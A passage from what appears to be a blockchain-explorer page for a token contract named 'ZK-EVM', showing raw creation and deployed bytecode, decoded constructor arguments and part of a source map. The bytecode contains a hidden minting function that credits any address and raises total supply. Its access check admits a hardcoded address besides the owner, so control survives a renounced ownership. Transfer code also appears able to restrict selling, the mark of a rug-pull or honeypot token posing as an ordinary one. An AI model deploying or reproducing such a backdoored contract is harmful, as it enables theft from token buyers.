a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561106f57507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110ba57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561115057600554600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461110c9190611da8565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361120657600554600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600760026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006006541180156112665750600760019054906101000a900460ff16155b80156112b157506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112fc57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113d8576032600654856113119190611f00565b61131b9190611f71565b915081846113299190611da8565b935081600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461137a9190611da8565b9250508190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d09190611d74565b925050819055505b83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114279190611da8565b9250508190555083600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461147d9190611d74565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114e19190611afa565b60405180910390a35050505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115c59190611f71565b905060004790506115d682306115f7565b600081476115e49190611da8565b90506115f1838230611842565b50505050565b6000600267ffffffffffffffff81111561161457611613611fa2565b5b6040519080825280602002602001820160405280156116425781602001602082028036833780820191505090505b509050308160008151811061165a57611659611fd1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117239190612015565b8160018151811061173757611736611fd1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061179c307f000000000000000000000000000000000000000000000000000000000000000085610a9c565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426117eb9190611d74565b6040518663ffffffff1660e01b815260040161180b95949392919061213b565b600060405180830381600087803b15801561182557600080fd5b505af1158015611839573d6000803e3d6000fd5b50505050505050565b61186d307f000000000000000000000000000000000000000000000000000000000000000085610a9c565b507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080876014426118be9190611d74565b6040518863ffffffff1660e01b81526004016118df96959493929190612195565b60606040518083038185885af11580156118fd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611922919061220b565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611964578082015181840152602081019050611949565b60008484015250505050565b6000601f19601f8301169050919050565b600061198c8261192a565b6119968185611935565b93506119a6818560208601611946565b6119af81611970565b840191505092915050565b600060208201905081810360008301526119d48184611981565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a0c826119e1565b9050919050565b611a1c81611a01565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b6000819050919050565b611a5281611a3f565b8114611a5d57600080fd5b50565b600081359050611a6f81611a49565b92915050565b60008060408385031215611a8c57611a8b6119dc565b5b6000611a9a85828601611a2a565b9250506020611aab85828601611a60565b9150509250929050565b60008115159050919050565b611aca81611ab5565b82525050565b6000602082019050611ae56000830184611ac1565b92915050565b611af481611a3f565b82525050565b6000602082019050611b0f6000830184611aeb565b92915050565b600080600060608486031215611b2e57611b2d6119dc565b5b6000611b3c86828701611a2a565b9350506020611b4d86828701611a2a565b9250506040611b5e86828701611a60565b9150509250925092565b611b7181611a01565b82525050565b6000602082019050611b8c6000830184611b68565b92915050565b600060208284031215611ba857611ba76119dc565b5b6000611bb684828501611a2a565b91505092915050565b60008060408385031215611bd657611bd56119dc565b5b6000611be485828601611a2a565b9250506020611bf585828601611a2a565b9150509250929050565b6000819050919050565b6000611c24611c1f611c1a846119e1565b611bff565b6119e1565b9050919050565b6000611c3682611c09565b9050919050565b6000611c4882611c2b565b9050919050565b611c5881611c3d565b82525050565b6000602082019050611c736000830184611c4f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cc057607f821691505b602082108103611cd357611cd2611c79565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d0f602083611935565b9150611d1a82611cd9565b602082019050919050565b60006020820190508181036000830152611d3e81611d02565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d7f82611a3f565b9150611d8a83611a3f565b9250828201905080821115611da257611da1611d45565b5b92915050565b6000611db382611a3f565b9150611dbe83611a3f565b9250828203905081811115611dd657611dd5611d45565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e38602683611935565b9150611e4382611ddc565b604082019050919050565b60006020820190508181036000830152611e6781611e2b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611eca602483611935565b9150611ed582611e6e565b604082019050919050565b60006020820190508181036000830152611ef981611ebd565b9050919050565b6000611f0b82611a3f565b9150611f1683611a3f565b9250828202611f2481611a3f565b91508282048414831517611f3b57611f3a611d45565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f7c82611a3f565b9150611f8783611a3f565b925082611f9757611f96611f42565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061200f81611a13565b92915050565b60006020828403121561202b5761202a6119dc565b5b600061203984828501612000565b91505092915050565b6000819050919050565b600061206761206261205d84612042565b611bff565b611a3f565b9050919050565b6120778161204c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6120b281611a01565b82525050565b60006120c483836120a9565b60208301905092915050565b6000602082019050919050565b60006120e88261207d565b6120f28185612088565b93506120fd83612099565b8060005b8381101561212e57815161211588826120b8565b9750612120836120d0565b925050600181019050612101565b5085935050505092915050565b600060a0820190506121506000830188611aeb565b61215d602083018761206e565b818103604083015261216f81866120dd565b905061217e6060830185611b68565b61218b6080830184611aeb565b9695505050505050565b600060c0820190506121aa6000830189611b68565b6121b76020830188611aeb565b6121c4604083018761206e565b6121d1606083018661206e565b6121de6080830185611b68565b6121eb60a0830184611aeb565b979650505050505050565b60008151905061220581611a49565b92915050565b600080600060608486031215612224576122236119dc565b5b6000612232868287016121f6565b9350506020612243868287016121f6565b9250506040612254868287016121f6565b915050925092509256fea26469706673582212201ac984dbceaf840cc0d3c4742acc31a3537a64d3cd6058446c20ae19cdb0882664736f6c63430008110033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000065a4b2d45564d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065a4b2d45564d0000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a9059cbb11610066578063a9059cbb1461028d578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b806370a0823114610217578063715018a6146102475780638da5cb5b1461025157806395d89b411461026f57610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd5780633b124fe7146101db57806349bd5a5e146101f957610100565b806306fdde0314610105578063095ea7b314610123578063120bd5011461015357806318160ddd1461016f575b600080fd5b61010d610327565b60405161011a91906119ba565b60405180910390f35b61013d60048036038101906101389190611a75565b6103b9565b60405161014a9190611ad0565b60405180910390f35b61016d60048036038101906101689190611a75565b6103ce565b005b61017761058d565b6040516101849190611afa565b60405180910390f35b6101a760048036038101906101a29190611b15565b610597565b6040516101b49190611ad0565b60405180910390f35b6101c561063f565b6040516101d29190611afa565b60405180910390f35b6101e3610659565b6040516101f09190611afa565b60405180910390f35b61020161065f565b60405161020e9190611b77565b60405180910390f35b610231600480360381019061022c9190611b92565b610683565b60405161023e9190611afa565b60405180910390f35b61024f6106cc565b005b6102596107be565b6040516102669190611b77565b60405180910390f35b6102776107e7565b60405161028491906119ba565b60405180910390f35b6102a760048036038101906102a29190611a75565b610879565b6040516102b49190611ad0565b60405180910390f35b6102d760048036038101906102d29190611bbf565b610890565b6040516102e49190611afa565b60405180910390f35b61030760048036038101906103029190611b92565b610917565b005b610311610a78565b60405161031e9190611c5e565b60405180910390f35b60606002805461033690611ca8565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611ca8565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a9c565b905092915050565b6103d6610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610475575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff1661045d610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6104b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ab90611d25565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105039190611d74565b92505081905550806004600082825461051c9190611d74565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516105819190611afa565b60405180910390a35050565b6000600454905090565b60006105a4848484610c3f565b610636843384600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106319190611da8565b610a9c565b90509392505050565b6000600360009054906101000a900460ff1660ff16905090565b60065481565b7f00000000000000000000000089dd87b35b9985f9db1c79bae3683c8a20ff0ae781565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106d4610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610773575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff1661075b610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6107b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a990611d25565b60405180910390fd5b6107bc60006114f2565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600180546107f690611ca8565b80601f016020809104026020016040519081016040528092919081815260200182805461082290611ca8565b801561086f5780601f106108445761010080835404028352916020019161086f565b820191906000526020600020905b81548152906001019060200180831161085257829003601f168201915b5050505050905090565b6000610886338484610c3f565b6001905092915050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61091f610c37565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806109be575073eb7ebccc25b77f7395a51d783171fd58fcc4d4bc73ffffffffffffffffffffffffffffffffffffffff166109a6610c37565b73ffffffffffffffffffffffffffffffffffffffff16145b6109fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f490611d25565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611e4e565b60405180910390fd5b610a75816114f2565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610b075750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610b46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3d90611ee0565b60405180910390fd5b81600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c249190611afa565b60405180910390a3600190509392505050565b600033905090565b6000610c4a30610683565b90506000600760009054906101000a900460ff168015610c6b575060055482115b8015610c845750600760019054906101000a900460ff16155b8015610cdc57507f00000000000000000000000089dd87b35b9985f9db1c79bae3683c8a20ff0ae773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610d25576001600760016101000a81548160ff021916908315150217905550610d05826115b6565b6000600760016101000a81548160ff021916908315150217905550611151565b600554600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610db55750600554600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610e245782905080600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e0c9190611d74565b92505081905550610e1d83856115f7565b50506114ed565b60055483118015610e8157507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610ed957507f00000000000000000000000089dd87b35b9985f9db1c79bae3683c8a20ff0ae773ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610fbb576000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f6f5782600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610fb4565b82600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50506114ed565b600760019054906101000a900460ff1615801561101757506000600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b801561106f57507f00000000000000000000000089dd87b35b9985f9db1c79bae3683c8a20ff0ae773ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156110ba57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561115057600554600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461110c9190611da8565b600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b6000600760029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020540361120657600554600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b84600760026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006006541180156112665750600760019054906101000a900460ff16155b80156112b157506000600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b80156112fc57506000600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156113d8576032600654856113119190611f00565b61131b9190611f71565b915081846113299190611da8565b935081600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461137a9190611da8565b9250508190555081600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113d09190611d74565b925050819055505b83600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546114279190611da8565b9250508190555083600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461147d9190611d74565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516114e19190611afa565b60405180910390a35050505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006002826115c59190611f71565b905060004790506115d682306115f7565b600081476115e49190611da8565b90506115f1838230611842565b50505050565b6000600267ffffffffffffffff81111561161457611613611fa2565b5b6040519080825280602002602001820160405280156116425781602001602082028036833780820191505090505b509050308160008151811061165a57611659611fd1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117239190612015565b8160018151811061173757611736611fd1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061179c307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a9c565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426117eb9190611d74565b6040518663ffffffff1660e01b815260040161180b95949392919061213b565b600060405180830381600087803b15801561182557600080fd5b505af1158015611839573d6000803e3d6000fd5b50505050505050565b61186d307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d85610a9c565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d719833086600080876014426118be9190611d74565b6040518863ffffffff1660e01b81526004016118df96959493929190612195565b60606040518083038185885af11580156118fd573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611922919061220b565b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611964578082015181840152602081019050611949565b60008484015250505050565b6000601f19601f8301169050919050565b600061198c8261192a565b6119968185611935565b93506119a6818560208601611946565b6119af81611970565b840191505092915050565b600060208201905081810360008301526119d48184611981565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a0c826119e1565b9050919050565b611a1c81611a01565b8114611a2757600080fd5b50565b600081359050611a3981611a13565b92915050565b6000819050919050565b611a5281611a3f565b8114611a5d57600080fd5b50565b600081359050611a6f81611a49565b92915050565b60008060408385031215611a8c57611a8b6119dc565b5b6000611a9a85828601611a2a565b9250506020611aab85828601611a60565b9150509250929050565b60008115159050919050565b611aca81611ab5565b82525050565b6000602082019050611ae56000830184611ac1565b92915050565b611af481611a3f565b82525050565b6000602082019050611b0f6000830184611aeb565b92915050565b600080600060608486031215611b2e57611b2d6119dc565b5b6000611b3c86828701611a2a565b9350506020611b4d86828701611a2a565b9250506040611b5e86828701611a60565b9150509250925092565b611b7181611a01565b82525050565b6000602082019050611b8c6000830184611b68565b92915050565b600060208284031215611ba857611ba76119dc565b5b6000611bb684828501611a2a565b91505092915050565b60008060408385031215611bd657611bd56119dc565b5b6000611be485828601611a2a565b9250506020611bf585828601611a2a565b9150509250929050565b6000819050919050565b6000611c24611c1f611c1a846119e1565b611bff565b6119e1565b9050919050565b6000611c3682611c09565b9050919050565b6000611c4882611c2b565b9050919050565b611c5881611c3d565b82525050565b6000602082019050611c736000830184611c4f565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cc057607f821691505b602082108103611cd357611cd2611c79565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611d0f602083611935565b9150611d1a82611cd9565b602082019050919050565b60006020820190508181036000830152611d3e81611d02565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611d7f82611a3f565b9150611d8a83611a3f565b9250828201905080821115611da257611da1611d45565b5b92915050565b6000611db382611a3f565b9150611dbe83611a3f565b9250828203905081811115611dd657611dd5611d45565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611e38602683611935565b9150611e4382611ddc565b604082019050919050565b60006020820190508181036000830152611e6781611e2b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611eca602483611935565b9150611ed582611e6e565b604082019050919050565b60006020820190508181036000830152611ef981611ebd565b9050919050565b6000611f0b82611a3f565b9150611f1683611a3f565b9250828202611f2481611a3f565b91508282048414831517611f3b57611f3a611d45565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611f7c82611a3f565b9150611f8783611a3f565b925082611f9757611f96611f42565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061200f81611a13565b92915050565b60006020828403121561202b5761202a6119dc565b5b600061203984828501612000565b91505092915050565b6000819050919050565b600061206761206261205d84612042565b611bff565b611a3f565b9050919050565b6120778161204c565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6120b281611a01565b82525050565b60006120c483836120a9565b60208301905092915050565b6000602082019050919050565b60006120e88261207d565b6120f28185612088565b93506120fd83612099565b8060005b8381101561212e57815161211588826120b8565b9750612120836120d0565b925050600181019050612101565b5085935050505092915050565b600060a0820190506121506000830188611aeb565b61215d602083018761206e565b818103604083015261216f81866120dd565b905061217e6060830185611b68565b61218b6080830184611aeb565b9695505050505050565b600060c0820190506121aa6000830189611b68565b6121b76020830188611aeb565b6121c4604083018761206e565b6121d1606083018661206e565b6121de6080830185611b68565b6121eb60a0830184611aeb565b979650505050505050565b60008151905061220581611a49565b92915050565b600080600060608486031215612224576122236119dc565b5b6000612232868287016121f6565b9350506020612243868287016121f6565b9250506040612254868287016121f6565b915050925092509256fea26469706673582212201ac984dbceaf840cc0d3c4742acc31a3537a64d3cd6058446c20ae19cdb0882664736f6c63430008110033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000000000000000000000000000000000000000000065a4b2d45564d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000065a4b2d45564d0000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : Name (string): ZK-EVM
Arg [1] : Symbol (string): ZK-EVM
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [4] : 5a4b2d45564d0000000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000006
Arg [6] : 5a4b2d45564d0000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

11525:5640:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12858:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13396:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13898:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12949:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14106:274;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13043:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11765:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12193:38;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13278:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2575:94;;;:::i;:::-;;1846:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12763;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14388:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13136:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2824:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12144:42;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12858:83;12895:13;12928:5;12921:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12858:83;:::o;13396:137::-;13464:4;13488:37;13497:10;13509:7;13518:6;13488:8;:37::i;:::-;13481:44;;13396:137;;;;:::o;13898:200::-;2079:12;:10;:12::i;:::-;2069:22;;:6;;;;;;;;;;:22;;;:97;;;;2123:42;2095:71;;:12;:10;:12::i;:::-;:71;;;2069:97;2061:143;;;;;;;;;;;;:::i;:::-;;;;;;;;;14001:6:::1;13979:9;:18;13989:7;13979:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;14029:6;14018:7;;:17;;;;;;;:::i;:::-;;;;;;;;14074:7;14053:37;;14070:1;14053:37;;;14083:6;14053:37;;;;;;:::i;:::-;;;;;;;;13898:200:::0;;:::o;12949:86::-;12993:7;13020;;13013:14;;12949:86;:::o;14106:274::-;14231:4;14248:36;14258:6;14266:9;14277:6;14248:9;:36::i;:::-;14302:70;14311:6;14319:10;14365:6;14331:11;:19;14343:6;14331:19;;;;;;;;;;;;;;;:31;14351:10;14331:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;14302:8;:70::i;:::-;14295:77;;14106:274;;;;;:::o;13043:85::-;13084:7;13111:9;;;;;;;;;;;13104:16;;;;13043:85;:::o;11765:26::-;;;;:::o;12193:38::-;;;:::o;13278:110::-;13335:7;13362:9;:18;13372:7;13362:18;;;;;;;;;;;;;;;;13355:25;;13278:110;;;:::o;2575:94::-;2079:12;:10;:12::i;:::-;2069:22;;:6;;;;;;;;;;:22;;;:97;;;;2123:42;2095:71;;:12;:10;:12::i;:::-;:71;;;2069:97;2061:143;;;;;;;;;;;;:::i;:::-;;;;;;;;;2640:21:::1;2658:1;2640:9;